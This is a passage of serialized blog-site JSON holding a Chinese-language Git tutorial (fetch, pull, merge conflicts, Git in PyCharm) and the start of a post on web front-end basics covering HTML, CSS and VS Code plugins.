远程仓库中抓取和拉取",{"type":18,"tag":34,"props":8147,"children":8148},{},[8149],{"type":24,"value":8150},"远程分支和本地的分支一样，我们可以进行merge操作，只是需要先把远端仓库里的更新都下载到本地，再进行操作。",{"type":18,"tag":210,"props":8152,"children":8153},{},[8154,8201,8234,8276],{"type":18,"tag":158,"props":8155,"children":8156},{},[8157,8162,8163],{"type":18,"tag":105,"props":8158,"children":8159},{},[8160],{"type":24,"value":8161},"抓取（fetch）命令形式",{"type":24,"value":222},{"type":18,"tag":287,"props":8164,"children":8166},{"className":289,"code":8165,"language":291,"meta":8,"style":8},"git fetch [remote name] [branch name]\n",[8167],{"type":18,"tag":74,"props":8168,"children":8169},{"__ignoreMap":8},[8170],{"type":18,"tag":297,"props":8171,"children":8172},{"class":299,"line":300},[8173,8177,8181,8186,8191,8196],{"type":18,"tag":297,"props":8174,"children":8175},{"style":304},[8176],{"type":24,"value":881},{"type":18,"tag":297,"props":8178,"children":8179},{"style":310},[8180],{"type":24,"value":6048},{"type":18,"tag":297,"props":8182,"children":8183},{"style":327},[8184],{"type":24,"value":8185}," [remote ",{"type":18,"tag":297,"props":8187,"children":8188},{"style":310},[8189],{"type":24,"value":8190},"name]",{"type":18,"tag":297,"props":8192,"children":8193},{"style":327},[8194],{"type":24,"value":8195}," [branch ",{"type":18,"tag":297,"props":8197,"children":8198},{"style":310},[8199],{"type":24,"value":8200},"name]\n",{"type":18,"tag":158,"props":8202,"children":8203},{},[8204,8206],{"type":24,"value":8205},"说明：",{"type":18,"tag":210,"props":8207,"children":8208},{},[8209,8229],{"type":18,"tag":158,"props":8210,"children":8211},{},[8212,8214,8219,8221,8227],{"type":24,"value":8213},"抓取指令就是将仓库里的更新都抓取到本地，",{"type":18,"tag":105,"props":8215,"children":8216},{},[8217],{"type":24,"value":8218},"不会进行合并",{"type":24,"value":8220},"，需再次执行 ",{"type":18,"tag":74,"props":8222,"children":8224},{"className":8223},[],[8225],{"type":24,"value":8226},"git merge 远程仓库\u002F远程分支名",{"type":24,"value":8228}," 进行合并",{"type":18,"tag":158,"props":8230,"children":8231},{},[8232],{"type":24,"value":8233},"如果不指定远端名称和分支名，则抓取所有分支",{"type":18,"tag":158,"props":8235,"children":8236},{},[8237,8242],{"type":18,"tag":105,"props":8238,"children":8239},{},[8240],{"type":24,"value":8241},"拉取（pull）命令形式：",{"type":18,"tag":287,"props":8243,"children":8245},{"className":289,"code":8244,"language":291,"meta":8,"style":8},"git pull [remote name] [branch name]\n",[8246],{"type":18,"tag":74,"props":8247,"children":8248},{"__ignoreMap":8},[8249],{"type":18,"tag":297,"props":8250,"children":8251},{"class":299,"line":300},[8252,8256,8260,8264,8268,8272],{"type":18,"tag":297,"props":8253,"children":8254},{"style":304},[8255],{"type":24,"value":881},{"type":18,"tag":297,"props":8257,"children":8258},{"style":310},[8259],{"type":24,"value":6266},{"type":18,"tag":297,"props":8261,"children":8262},{"style":327},[8263],{"type":24,"value":8185},{"type":18,"tag":297,"props":8265,"children":8266},{"style":310},[8267],{"type":24,"value":8190},{"type":18,"tag":297,"props":8269,"children":8270},{"style":327},[8271],{"type":24,"value":8195},{"type":18,"tag":297,"props":8273,"children":8274},{"style":310},[8275],{"type":24,"value":8200},{"type":18,"tag":158,"props":8277,"children":8278},{},[8279,8280],{"type":24,"value":8205},{"type":18,"tag":210,"props":8281,"children":8282},{},[8283,8293],{"type":18,"tag":158,"props":8284,"children":8285},{},[8286,8288],{"type":24,"value":8287},"拉取指令就是将远端仓库的修改拉到本地并自动进行合并，",{"type":18,"tag":105,"props":8289,"children":8290},{},[8291],{"type":24,"value":8292},"等同于 fetch + merge",{"type":18,"tag":158,"props":8294,"children":8295},{},[8296],{"type":24,"value":8297},"如果不指定远端名称和分支名，则抓取所有并更新当前分支",{"type":18,"tag":27,"props":8299,"children":8301},{"id":8300},"_18-解决合并冲突",[8302],{"type":24,"value":8303},"1.8 解决合并冲突",{"type":18,"tag":34,"props":8305,"children":8306},{},[8307,8312],{"type":18,"tag":105,"props":8308,"children":8309},{},[8310],{"type":24,"value":8311},"冲突产生原因",{"type":24,"value":8313},"：在一段时间内，A、B用户修改了同一个文件，且修改了同一行位置的代码，此时会发生合并冲突。",{"type":18,"tag":34,"props":8315,"children":8316},{},[8317,8322,8324,8329],{"type":18,"tag":105,"props":8318,"children":8319},{},[8320],{"type":24,"value":8321},"冲突场景流程",{"type":24,"value":8323},"：A用户在本地修改代码后优先推送到远程仓库，此时B用户在本地修订代码，提交到本地仓库后，也需要推送到远程仓库。由于B用户晚于A用户推送，故",{"type":18,"tag":105,"props":8325,"children":8326},{},[8327],{"type":24,"value":8328},"需要先拉取远程仓库的提交，经过合并后才能推送到远端分支",{"type":24,"value":8330},"（在B用户拉取代码时，因为A、B用户同一段时间修改了同一个文件的相同位置代码，故会发生合并冲突）",{"type":18,"tag":34,"props":8332,"children":8333},{},[8334],{"type":18,"tag":54,"props":8335,"children":8338},{"alt":8336,"src":8337},"1775814506803","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775814506803.png",[],{"type":18,"tag":34,"props":8340,"children":8341},{},[8342,8344,8349],{"type":24,"value":8343},"远程分支也是分支，所以",{"type":18,"tag":105,"props":8345,"children":8346},{},[8347],{"type":24,"value":8348},"合并时冲突的解决方式也和解决本地分支冲突相同",{"type":24,"value":8350},"，在此不再赘述。",{"type":18,"tag":19,"props":8352,"children":8354},{"id":8353},"_2-pycharm-中使用-git",[8355],{"type":24,"value":8356},"2 PyCharm 中使用 Git",{"type":18,"tag":27,"props":8358,"children":8360},{"id":8359},"_21-在pycharm中配置git",[8361],{"type":24,"value":8362},"2.1 在PyCharm中配置Git",{"type":18,"tag":34,"props":8364,"children":8365},{},[8366],{"type":24,"value":8367},"安装好PyCharm后，如果Git安装在默认路径下，那么PyCharm会自动找到git的位置，如果更改了Git的安装位置则需要手动配置下Git的路径。选择File→Settings打开设置窗口，找到Version Control下的git选项：",{"type":18,"tag":34,"props":8369,"children":8370},{},[8371],{"type":18,"tag":54,"props":8372,"children":8375},{"alt":8373,"src":8374},"1775815884830","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775815884830.png",[],{"type":18,"tag":27,"props":8377,"children":8379},{"id":8378},"_22-在pycharm中操作git",[8380],{"type":24,"value":8381},"2.2 在PyCharm中操作Git",{"type":18,"tag":154,"props":8383,"children":8384},{},[8385,8406,8435,8448,8524],{"type":18,"tag":158,"props":8386,"children":8387},{},[8388,8390,8396,8398,8401],{"type":24,"value":8389},"创建一个远程仓库，此处以 ",{"type":18,"tag":74,"props":8391,"children":8393},{"className":8392},[],[8394],{"type":24,"value":8395},"AIHeartCrisis",{"type":24,"value":8397}," 为例；",{"type":18,"tag":6882,"props":8399,"children":8400},{},[],{"type":18,"tag":54,"props":8402,"children":8405},{"alt":8403,"src":8404},"1775817252203","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775817252203.png",[],{"type":18,"tag":158,"props":8407,"children":8408},{},[8409,8411,8417,8419,8425,8427,8430],{"type":24,"value":8410},"打开本地 ",{"type":18,"tag":74,"props":8412,"children":8414},{"className":8413},[],[8415],{"type":24,"value":8416},"HeartCrisisAPI",{"type":24,"value":8418}," 项目，将本地项目初始化为Git项目，相当于执行了 ",{"type":18,"tag":74,"props":8420,"children":8422},{"className":8421},[],[8423],{"type":24,"value":8424},"git init",{"type":24,"value":8426}," 指令；",{"type":18,"tag":6882,"props":8428,"children":8429},{},[],{"type":18,"tag":54,"props":8431,"children":8434},{"alt":8432,"src":8433},"1775816649707","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775816649707.png",[],{"type":18,"tag":158,"props":8436,"children":8437},{},[8438,8440,8443],{"type":24,"value":8439},"选择需要变更为Git项目的项目根目录文件夹；",{"type":18,"tag":6882,"props":8441,"children":8442},{},[],{"type":18,"tag":54,"props":8444,"children":8447},{"alt":8445,"src":8446},"1775817440166","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775817440166.png",[],{"type":18,"tag":158,"props":8449,"children":8450},{},[8451,8453,8459,8461,8466,8468,8474,8476,8482,8484,8490,8492,8498,8500,8506,8508,8514,8516,8519],{"type":24,"value":8452},"点击左侧栏中的 ",{"type":18,"tag":74,"props":8454,"children":8456},{"className":8455},[],[8457],{"type":24,"value":8458},"commit",{"type":24,"value":8460}," 按钮，勾选需要提交到仓库的文件，因为此处配置了 ",{"type":18,"tag":74,"props":8462,"children":8464},{"className":8463},[],[8465],{"type":24,"value":718},{"type":24,"value":8467}," 文件，所以可以一键勾选，该步骤类似于 ",{"type":18,"tag":74,"props":8469,"children":8471},{"className":8470},[],[8472],{"type":24,"value":8473},"git add .",{"type":24,"value":8475}," 指令；然后输入提交注释，该步骤类似于 ",{"type":18,"tag":74,"props":8477,"children":8479},{"className":8478},[],[8480],{"type":24,"value":8481},"git commit -m ''",{"type":24,"value":8483}," 指令；接下来点击 ",{"type":18,"tag":74,"props":8485,"children":8487},{"className":8486},[],[8488],{"type":24,"value":8489},"commit and push",{"type":24,"value":8491}," 首次推送远程仓库会遇到需要绑定远程仓库的情况，此处点击 ",{"type":18,"tag":74,"props":8493,"children":8495},{"className":8494},[],[8496],{"type":24,"value":8497},"Define remote",{"type":24,"value":8499}," ，在打开的窗口中配置远程仓库信息，最后点击 ",{"type":18,"tag":74,"props":8501,"children":8503},{"className":8502},[],[8504],{"type":24,"value":8505},"OK",{"type":24,"value":8507}," 和 ",{"type":18,"tag":74,"props":8509,"children":8511},{"className":8510},[],[8512],{"type":24,"value":8513},"Push",{"type":24,"value":8515},"即可完成推送操作。",{"type":18,"tag":6882,"props":8517,"children":8518},{},[],{"type":18,"tag":54,"props":8520,"children":8523},{"alt":8521,"src":8522},"1775817950527","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775817950527.png",[],{"type":18,"tag":158,"props":8525,"children":8526},{},[8527,8529,8532],{"type":24,"value":8528},"回到远程仓库刷新，发现成功推送！",{"type":18,"tag":6882,"props":8530,"children":8531},{},[],{"type":18,"tag":54,"props":8533,"children":8536},{"alt":8534,"src":8535},"1775818570340","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775818570340.png",[],{"type":18,"tag":27,"props":8538,"children":8540},{"id":8539},"_23-克隆远程仓库到pycharm",[8541],{"type":24,"value":8542},"2.3 克隆远程仓库到PyCharm",{"type":18,"tag":154,"props":8544,"children":8545},{},[8546,8583],{"type":18,"tag":158,"props":8547,"children":8548},{},[8549,8551,8557,8559,8565,8567,8573,8575,8578],{"type":24,"value":8550},"通过 ",{"type":18,"tag":74,"props":8552,"children":8554},{"className":8553},[],[8555],{"type":24,"value":8556},"file",{"type":24,"value":8558}," - ",{"type":18,"tag":74,"props":8560,"children":8562},{"className":8561},[],[8563],{"type":24,"value":8564},"Project from Version Control",{"type":24,"value":8566}," 打开克隆窗口，将远程仓库的SSH路径复制到URL中，点击克隆 ",{"type":18,"tag":74,"props":8568,"children":8570},{"className":8569},[],[8571],{"type":24,"value":8572},"Clone",{"type":24,"value":8574},"；",{"type":18,"tag":6882,"props":8576,"children":8577},{},[],{"type":18,"tag":54,"props":8579,"children":8582},{"alt":8580,"src":8581},"1775819381563","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775819381563.png",[],{"type":18,"tag":158,"props":8584,"children":8585},{},[8586,8588,8591],{"type":24,"value":8587},"下图为克隆后的效果图，它将在一个新的窗口中展示；",{"type":18,"tag":6882,"props":8589,"children":8590},{},[],{"type":18,"tag":54,"props":8592,"children":8595},{"alt":8593,"src":8594},"1775819841223","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775819841223.png",[],{"type":18,"tag":27,"props":8597,"children":8599},{"id":8598},"_24-解决冲突",[8600],{"type":24,"value":8601},"2.4 解决冲突",{"type":18,"tag":154,"props":8603,"children":8604},{},[8605,8634,8647,8704,8725],{"type":18,"tag":158,"props":8606,"children":8607},{},[8608,8610,8616,8618,8624,8626,8629],{"type":24,"value":8609},"假设此时我在原来的项目中添加了一个用于展示登录页面的接口 ",{"type":18,"tag":74,"props":8611,"children":8613},{"className":8612},[],[8614],{"type":24,"value":8615},"api\u002Flogin-page",{"type":24,"value":8617},"；与此同时，在克隆项目中添加了一个用于展示主页页面的接口 ",{"type":18,"tag":74,"props":8619,"children":8621},{"className":8620},[],[8622],{"type":24,"value":8623},"api\u002Findex-page",{"type":24,"value":8625},"，它们属于同一文件下同一位置，如下图所示：",{"type":18,"tag":6882,"props":8627,"children":8628},{},[],{"type":18,"tag":54,"props":8630,"children":8633},{"alt":8631,"src":8632},"1775820923148","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775820923148.png",[],{"type":18,"tag":158,"props":8635,"children":8636},{},[8637,8639,8642],{"type":24,"value":8638},"此时我先推送原项目的修改内容至远程仓库，可见可以成功推送；",{"type":18,"tag":6882,"props":8640,"children":8641},{},[],{"type":18,"tag":54,"props":8643,"children":8646},{"alt":8644,"src":8645},"1775821364173","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775821364173.png",[],{"type":18,"tag":158,"props":8648,"children":8649},{},[8650,8652,8657,8659,8664,8665,8671,8673,8679,8681,8687,8689,8694,8696,8699],{"type":24,"value":8651},"接下来在克隆项目中我先进行提交 ",{"type":18,"tag":74,"props":8653,"children":8655},{"className":8654},[],[8656],{"type":24,"value":8458},{"type":24,"value":8658},"，然后点击 ",{"type":18,"tag":74,"props":8660,"children":8662},{"className":8661},[],[8663],{"type":24,"value":686},{"type":24,"value":8558},{"type":18,"tag":74,"props":8666,"children":8668},{"className":8667},[],[8669],{"type":24,"value":8670},"Pull",{"type":24,"value":8672}," 后，它将提示处理 ",{"type":18,"tag":74,"props":8674,"children":8676},{"className":8675},[],[8677],{"type":24,"value":8678},"Merge",{"type":24,"value":8680}," 异常的窗口，由于刚刚接触，我们先不在此处修改，直接关闭该窗口，接着你将看到版本控制区显示了 ",{"type":18,"tag":74,"props":8682,"children":8684},{"className":8683},[],[8685],{"type":24,"value":8686},"fetch",{"type":24,"value":8688}," 到的记录，同时导致 ",{"type":18,"tag":74,"props":8690,"children":8692},{"className":8691},[],[8693],{"type":24,"value":8678},{"type":24,"value":8695}," 异常的文件将报错高亮显示，如下图；",{"type":18,"tag":6882,"props":8697,"children":8698},{},[],{"type":18,"tag":54,"props":8700,"children":8703},{"alt":8701,"src":8702},"1775821690591","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775821690591.png",[],{"type":18,"tag":158,"props":8705,"children":8706},{},[8707,8709,8715,8717,8720],{"type":24,"value":8708},"修改合并出错的语句块，修改完成后将该文件 ",{"type":18,"tag":74,"props":8710,"children":8712},{"className":8711},[],[8713],{"type":24,"value":8714},"add",{"type":24,"value":8716}," 到缓存区，如下图所示：",{"type":18,"tag":6882,"props":8718,"children":8719},{},[],{"type":18,"tag":54,"props":8721,"children":8724},{"alt":8722,"src":8723},"1775822145279","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775822145279.png",[],{"type":18,"tag":158,"props":8726,"children":8727},{},[8728,8730,8733,8738,8741],{"type":24,"value":8729},"最后根据正常推送逻辑进行远程仓库推送即可",{"type":18,"tag":6882,"props":8731,"children":8732},{},[],{"type":18,"tag":54,"props":8734,"children":8737},{"alt":8735,"src":8736},"1775822259230","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775822259230.png",[],{"type":18,"tag":6882,"props":8739,"children":8740},{},[],{"type":18,"tag":54,"props":8742,"children":8745},{"alt":8743,"src":8744},"1775822300039","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775822300039.png",[],{"type":18,"tag":27,"props":8747,"children":8749},{"id":8748},"_25-其他git操作",[8750],{"type":24,"value":8751},"2.5 其他Git操作",{"type":18,"tag":154,"props":8753,"children":8754},{},[8755,8768,8817],{"type":18,"tag":158,"props":8756,"children":8757},{},[8758,8760,8763],{"type":24,"value":8759},"添加分支操作：打开Git的Log页面，直接点击需要创建分支的位置，右键选择新建分支；",{"type":18,"tag":6882,"props":8761,"children":8762},{},[],{"type":18,"tag":54,"props":8764,"children":8767},{"alt":8765,"src":8766},"1775822921996","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775822921996.png",[],{"type":18,"tag":158,"props":8769,"children":8770},{},[8771,8773,8779,8781,8786,8788,8793,8795,8800,8802,8808,8809,8812],{"type":24,"value":8772},"合并分支操作：假设现在需要将 ",{"type":18,"tag":74,"props":8774,"children":8776},{"className":8775},[],[8777],{"type":24,"value":8778},"dev",{"type":24,"value":8780}," 分支合并至 ",{"type":18,"tag":74,"props":8782,"children":8784},{"className":8783},[],[8785],{"type":24,"value":5935},{"type":24,"value":8787}," 分支，需先将当前分支切换至 ",{"type":18,"tag":74,"props":8789,"children":8791},{"className":8790},[],[8792],{"type":24,"value":5935},{"type":24,"value":8794},"，然后右击 ",{"type":18,"tag":74,"props":8796,"children":8798},{"className":8797},[],[8799],{"type":24,"value":8778},{"type":24,"value":8801}," 选择 ",{"type":18,"tag":74,"props":8803,"children":8805},{"className":8804},[],[8806],{"type":24,"value":8807},"Merge 'dev' into 'master'",{"type":24,"value":8574},{"type":18,"tag":6882,"props":8810,"children":8811},{},[],{"type":18,"tag":54,"props":8813,"children":8816},{"alt":8814,"src":8815},"1775823212025","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775823212025.png",[],{"type":18,"tag":158,"props":8818,"children":8819},{},[8820,8822,8825],{"type":24,"value":8821},"修改PyCharm的Terminal为Git-Bash",{"type":18,"tag":6882,"props":8823,"children":8824},{},[],{"type":18,"tag":54,"props":8826,"children":8829},{"alt":8827,"src":8828},"1775824100487","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775824100487.png",[],{"type":18,"tag":19,"props":8831,"children":8833},{"id":8832},"_3-git铁令",[8834],{"type":24,"value":8835},"3 Git铁令",{"type":18,"tag":210,"props":8837,"children":8838},{},[8839,8847,8855],{"type":18,"tag":158,"props":8840,"children":8841},{},[8842],{"type":18,"tag":105,"props":8843,"children":8844},{},[8845],{"type":24,"value":8846},"切换分支前先提交本地的修改",{"type":18,"tag":158,"props":8848,"children":8849},{},[8850],{"type":18,"tag":105,"props":8851,"children":8852},{},[8853],{"type":24,"value":8854},"任何修改文件及时提交",{"type":18,"tag":158,"props":8856,"children":8857},{},[8858],{"type":18,"tag":105,"props":8859,"children":8860},{},[8861],{"type":24,"value":8862},"遇到任何问题都不要删除文件目录",{"type":18,"tag":651,"props":8864,"children":8865},{},[8866],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":8868},[8869,8880,8887],{"id":7009,"depth":657,"text":7012,"children":8870},[8871,8873,8874,8875,8876,8877,8878,8879],{"id":7015,"depth":662,"text":8872},"1.1 常用的托管服务 远程仓库",{"id":7133,"depth":662,"text":7136},{"id":7161,"depth":662,"text":7164},{"id":7180,"depth":662,"text":7183},{"id":7663,"depth":662,"text":7666},{"id":8092,"depth":662,"text":8095},{"id":8142,"depth":662,"text":8145},{"id":8300,"depth":662,"text":8303},{"id":8353,"depth":657,"text":8356,"children":8881},[8882,8883,8884,8885,8886],{"id":8359,"depth":662,"text":8362},{"id":8378,"depth":662,"text":8381},{"id":8539,"depth":662,"text":8542},{"id":8598,"depth":662,"text":8601},{"id":8748,"depth":662,"text":8751},{"id":8832,"depth":657,"text":8835},"content:blog:2026-05-05-GitAdvanced.md","blog\u002F2026-05-05-GitAdvanced.md","blog\u002F2026-05-05-GitAdvanced",{"_path":8892,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":8893,"description":8894,"date":8895,"tags":8896,"body":8902,"_type":672,"_id":24905,"_source":674,"_file":24906,"_stem":24907,"_extension":677},"\u002Fblog\u002F2026-04-15-webbasic","Web前端基础","SpringBoot前景知识：Web前端基础，涵盖HTML、CSS、JavaScript、Vue、Ajax等内容。","2026-04-15",[8897,8898,8899,8900,8901],"HTML","CSS","JavaScript","Vue","Ajax",{"type":15,"children":8903,"toc":24861},[8904,8910,8916,8924,8927,8933,8938,8943,8961,8964,8970,8976,8981,9031,9039,9045,9050,9058,9064,9095,9103,9129,9135,9145,9155,9164,9242,9257,9525,9531,9548,9559,9570,9581,9606,9725,9731,9736,9952,9960,10143,10148,10441,10449,10457,10609,10617,10673,10681,10821,10829,10925,10931,10942,10953,10971,10982,11142,11218,11224,11275,11283,11307,11315,11401,11409,11697,11714,11741,11747,11752,11760,11766,11779,11787,11795,12008,12014,12137,12145,12167,12175,12189,12517,12532,13957,13966,14223,14229,14237,14245,14252,15361,15366,15712,15973,15976,15982,15988,15998,16006,16039,16052,16058,16066,16071,16110,16118,16123,16131,16137,16159,16167,16245,16253,16274,16281,16428,16435,16647,16655,16663,16723,16731,16767,16773,17020,17212,17218,17230,17474,17480,17502,17726,17732,17740,17748,17903,17909,17926,17934,17945,17953,17964,17989,17995,18003,18013,18022,18035,18040,18154,18162,18220,18228,18512,18528,18534,18544,18562,18578,18593,18601,18634,18642,18815,18823,18837,18844,19008,19015,19047,19055,19063,19071,19079,19092,19107,19113,19119,19152,19201,19207,19215,19231,19238,19557,19563,19571,19603,19761,19765,19880,19900,19904,20045,20206,20235,20239,20324,20329,20590,20635,20639,20702,20706,20927,20935,20943,20951,20964,20968,21001,21009,21027,21037,21211,21221,21997,22001,22046,22053,22200,22418,22426,22432,22438,22454,22467,22472,22495,22503,22509,22517,22523,22532,22547,22555,22563,22606,22614,22776,22783,22835,22843,22851,23452,23460,23690,23698,23942,23948,23953,23978,23986,24116,24124,24262,24270,24580,24586,24594,24639,24646,24766,24773,24805,24811,24824,24841,24849,24857],{"type":18,"tag":691,"props":8905,"children":8907},{"id":8906},"l1-web前端基础",[8908],{"type":24,"value":8909},"L1-Web前端基础",{"type":18,"tag":19,"props":8911,"children":8913},{"id":8912},"_1-学习计划",[8914],{"type":24,"value":8915},"1 学习计划",{"type":18,"tag":34,"props":8917,"children":8918},{},[8919],{"type":18,"tag":54,"props":8920,"children":8923},{"alt":8921,"src":8922},"1775977068350","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1775977068350.png",[],{"type":18,"tag":121,"props":8925,"children":8926},{},[],{"type":18,"tag":19,"props":8928,"children":8930},{"id":8929},"_2-web标准",[8931],{"type":24,"value":8932},"2 Web标准",{"type":18,"tag":34,"props":8934,"children":8935},{},[8936],{"type":24,"value":8937},"Web 标准也称网页标准，由一系列的标准组成，大部分由 W3C（World Wide Web Consortium，万维网联盟）负责制定。",{"type":18,"tag":34,"props":8939,"children":8940},{},[8941],{"type":24,"value":8942},"三个组成部分：",{"type":18,"tag":210,"props":8944,"children":8945},{},[8946,8951,8956],{"type":18,"tag":158,"props":8947,"children":8948},{},[8949],{"type":24,"value":8950},"HTML：负责网页的结构（页面元素和内容）。",{"type":18,"tag":158,"props":8952,"children":8953},{},[8954],{"type":24,"value":8955},"CSS：负责网页的表现（页面元素的外观、位置等页面样式，如：颜色、大小等）。",{"type":18,"tag":158,"props":8957,"children":8958},{},[8959],{"type":24,"value":8960},"JavaScript：负责网页的行为（交互效果）。",{"type":18,"tag":121,"props":8962,"children":8963},{},[],{"type":18,"tag":19,"props":8965,"children":8967},{"id":8966},"_3-html-css",[8968],{"type":24,"value":8969},"3 HTML - CSS",{"type":18,"tag":27,"props":8971,"children":8973},{"id":8972},"_31-html介绍",[8974],{"type":24,"value":8975},"3.1 HTML介绍",{"type":18,"tag":34,"props":8977,"children":8978},{},[8979],{"type":24,"value":8980},"HTML（HyperText Markup Language）：超文本标记语言。",{"type":18,"tag":210,"props":8982,"children":8983},{},[8984,8989],{"type":18,"tag":158,"props":8985,"children":8986},{},[8987],{"type":24,"value":8988},"超文本：超越了文本的限制，比普通文本更强大。除了文字信息，还可以定义图片、音频、视频等内容。",{"type":18,"tag":158,"props":8990,"children":8991},{},[8992,8994],{"type":24,"value":8993},"标记语言：由标签 \"\u003C标签名>\" 构成的语言\n",{"type":18,"tag":210,"props":8995,"children":8996},{},[8997,9026],{"type":18,"tag":158,"props":8998,"children":8999},{},[9000,9002,9008,9010,9016,9018,9024],{"type":24,"value":9001},"HTML标签都是预定义好的。例如：使用",{"type":18,"tag":74,"props":9003,"children":9005},{"className":9004},[],[9006],{"type":24,"value":9007},"\u003Ch1>",{"type":24,"value":9009},"展示标题，使用",{"type":18,"tag":74,"props":9011,"children":9013},{"className":9012},[],[9014],{"type":24,"value":9015},"\u003Cimg>",{"type":24,"value":9017},"展示图片，使用",{"type":18,"tag":74,"props":9019,"children":9021},{"className":9020},[],[9022],{"type":24,"value":9023},"\u003Cvideo>",{"type":24,"value":9025},"展示视频。",{"type":18,"tag":158,"props":9027,"children":9028},{},[9029],{"type":24,"value":9030},"HTML代码直接在浏览器中运行，HTML标签由浏览器解析。",{"type":18,"tag":34,"props":9032,"children":9033},{},[9034],{"type":18,"tag":54,"props":9035,"children":9038},{"alt":9036,"src":9037},"1775978145575","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1775978145575.png",[],{"type":18,"tag":27,"props":9040,"children":9042},{"id":9041},"_32-css介绍",[9043],{"type":24,"value":9044},"3.2 CSS介绍",{"type":18,"tag":34,"props":9046,"children":9047},{},[9048],{"type":24,"value":9049},"CSS（Cascading Style Sheet）：层叠样式表，用于控制页面的样式(表现)。",{"type":18,"tag":34,"props":9051,"children":9052},{},[9053],{"type":18,"tag":54,"props":9054,"children":9057},{"alt":9055,"src":9056},"1775978530373","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1775978530373.png",[],{"type":18,"tag":27,"props":9059,"children":9061},{"id":9060},"_33-html快速入门",[9062],{"type":24,"value":9063},"3.3 HTML快速入门",{"type":18,"tag":154,"props":9065,"children":9066},{},[9067,9077,9082],{"type":18,"tag":158,"props":9068,"children":9069},{},[9070,9072],{"type":24,"value":9071},"新建文本文件，后缀名改为 ",{"type":18,"tag":74,"props":9073,"children":9075},{"className":9074},[],[9076],{"type":24,"value":5461},{"type":18,"tag":158,"props":9078,"children":9079},{},[9080],{"type":24,"value":9081},"编写 HTML 的基本骨架，定义标题",{"type":18,"tag":158,"props":9083,"children":9084},{},[9085,9087,9093],{"type":24,"value":9086},"在 ",{"type":18,"tag":74,"props":9088,"children":9090},{"className":9089},[],[9091],{"type":24,"value":9092},"\u003Cbody>",{"type":24,"value":9094}," 中填写内容",{"type":18,"tag":34,"props":9096,"children":9097},{},[9098],{"type":18,"tag":54,"props":9099,"children":9102},{"alt":9100,"src":9101},"1775978915069","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1775978915069.png",[],{"type":18,"tag":154,"props":9104,"children":9105},{"start":799},[9106],{"type":18,"tag":158,"props":9107,"children":9108},{},[9109,9111],{"type":24,"value":9110},"HTML 标签特点",{"type":18,"tag":210,"props":9112,"children":9113},{},[9114,9119,9124],{"type":18,"tag":158,"props":9115,"children":9116},{},[9117],{"type":24,"value":9118},"html 标签不区分大小写，建议小写",{"type":18,"tag":158,"props":9120,"children":9121},{},[9122],{"type":24,"value":9123},"html 标签的属性值使用单引号 \u002F 双引号都可以",{"type":18,"tag":158,"props":9125,"children":9126},{},[9127],{"type":24,"value":9128},"html 语法结构松散，但是建议规范书写",{"type":18,"tag":27,"props":9130,"children":9132},{"id":9131},"_34-前端开发工具",[9133],{"type":24,"value":9134},"3.4 前端开发工具",{"type":18,"tag":34,"props":9136,"children":9137},{},[9138,9143],{"type":18,"tag":105,"props":9139,"children":9140},{},[9141],{"type":24,"value":9142},"Visual Studio Code（简称 VS Code ）",{"type":24,"value":9144}," 是 Microsoft 于 2015 年 4 月发布的一款代码编辑器。VS Code 对前端代码有非常强大的支持，同时也支持其他编程语言（例如：C++、Java、Python、PHP、Go 等）。VS Code 提供了非常强大的插件库，大大提高了开发效率。",{"type":18,"tag":34,"props":9146,"children":9147},{},[9148,9149],{"type":24,"value":3129},{"type":18,"tag":43,"props":9150,"children":9153},{"href":9151,"rel":9152},"https:\u002F\u002Fcode.visualstudio.com",[47],[9154],{"type":24,"value":9151},{"type":18,"tag":34,"props":9156,"children":9157},{},[9158,9163],{"type":18,"tag":105,"props":9159,"children":9160},{},[9161],{"type":24,"value":9162},"常用插件",{"type":24,"value":222},{"type":18,"tag":210,"props":9165,"children":9166},{},[9167,9172,9177,9182,9187,9192,9197,9202,9207,9212,9217,9222,9227,9232,9237],{"type":18,"tag":158,"props":9168,"children":9169},{},[9170],{"type":24,"value":9171},"Chinese (Simplified) Language Pack",{"type":18,"tag":158,"props":9173,"children":9174},{},[9175],{"type":24,"value":9176},"HTML CSS Support",{"type":18,"tag":158,"props":9178,"children":9179},{},[9180],{"type":24,"value":9181},"JavaScript (ES6) code snippets",{"type":18,"tag":158,"props":9183,"children":9184},{},[9185],{"type":24,"value":9186},"Mithril Emmet",{"type":18,"tag":158,"props":9188,"children":9189},{},[9190],{"type":24,"value":9191},"Path Intellisense",{"type":18,"tag":158,"props":9193,"children":9194},{},[9195],{"type":24,"value":9196},"Vue 3 Snippets",{"type":18,"tag":158,"props":9198,"children":9199},{},[9200],{"type":24,"value":9201},"Auto Close Tag",{"type":18,"tag":158,"props":9203,"children":9204},{},[9205],{"type":24,"value":9206},"Auto Rename Tag",{"type":18,"tag":158,"props":9208,"children":9209},{},[9210],{"type":24,"value":9211},"open in browser",{"type":18,"tag":158,"props":9213,"children":9214},{},[9215],{"type":24,"value":9216},"Live Server",{"type":18,"tag":158,"props":9218,"children":9219},{},[9220],{"type":24,"value":9221},"Vue (Official)",{"type":18,"tag":158,"props":9223,"children":9224},{},[9225],{"type":24,"value":9226},"File Utils",{"type":18,"tag":158,"props":9228,"children":9229},{},[9230],{"type":24,"value":9231},"IntelliJ IDEA 